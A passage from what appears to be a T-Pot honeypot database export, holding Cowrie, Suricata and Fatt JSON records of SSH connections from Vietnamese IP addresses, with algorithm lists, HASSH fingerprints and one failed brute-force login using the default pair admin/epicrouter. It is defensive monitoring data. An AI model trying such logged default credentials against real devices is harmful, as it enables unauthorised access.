"hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "818b709f7a6d", "@version": "1", "timestamp": "2021-09-20T11:09:17.110883Z", "@timestamp": "2021-09-20T11:09:17.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24894	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:17.8261+03	2021-09-20 14:15:09.391471+03	{"_id": "rQblAnwBvYTbRNuEWxat", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1339819005128737, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42686, "dest_port": 22, "timestamp": "2021-09-20T11:09:17.826100Z", "@timestamp": "2021-09-20T11:09:17.826Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24895	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:17.553108+03	2021-09-20 14:15:09.39247+03	{"_id": "rwblAnwBvYTbRNuEXBaw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42686, "timestamp": "2021-09-20T11:09:17.553108", "@timestamp": "2021-09-20T11:09:17.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24896	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:17.618725+03	2021-09-20 14:15:09.394471+03	{"_id": "ugblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [admin/epicrouter] failed", "session": "595bea6f2167", "@version": "1", "password": "epicrouter", "username": "admin", "timestamp": "2021-09-20T11:09:17.618725Z", "@timestamp": "2021-09-20T11:09:17.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24897	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:17.997261+03	2021-09-20 14:15:09.395471+03	{"_id": "tQblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "2af9e6b1581d", "@version": "1", "duration": 3.5240230560302734, "timestamp": "2021-09-20T11:09:17.997261Z", "@timestamp": "2021-09-20T11:09:17.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24898	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:18.80576+03	2021-09-20 14:15:09.39647+03	{"_id": "wAblAnwBvYTbRNuEYBaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3732, "timestamp": "2021-09-20T11:09:18.805760", "@timestamp": "2021-09-20T11:09:18.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24899	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:04.255483+03	2021-09-20 14:15:09.39847+03	{"_id": "TQblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 822226052919390, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37040, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.255483Z", "@timestamp": "2021-09-20T11:09:04.255Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24900	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:04.259221+03	2021-09-20 14:15:09.39947+03	{"_id": "TgblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 287549869254730, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46464, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.259221Z", "@timestamp": "2021-09-20T11:09:04.259Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24901	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:04.438609+03	2021-09-20 14:15:09.40047+03	{"_id": "UQblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 378751352264652, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7361, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.438609Z", "@timestamp": "2021-09-20T11:09:04.438Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24902	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:04.208962+03	2021-09-20 14:15:09.40147+03	{"_id": "TwblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 906431034287609, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43380, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.208962Z", "@timestamp": "2021-09-20T11:09:04.208Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24903	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:04.161065+03	2021-09-20 14:15:09.402471+03	{"_id": "VAblAnwBvYTbRNuEKRXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7361, "timestamp": "2021-09-20T11:09:04.161065", "@timestamp": "2021-09-20T11:09:04.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24904	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:04.456913+03	2021-09-20 14:15:09.40447+03	{"_id": "VwblAnwBvYTbRNuEKRXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7361, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.456913", "@timestamp": "2021-09-20T11:09:04.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24905	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:05.042157+03	2021-09-20 14:15:09.40547+03	{"_id": "hgblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 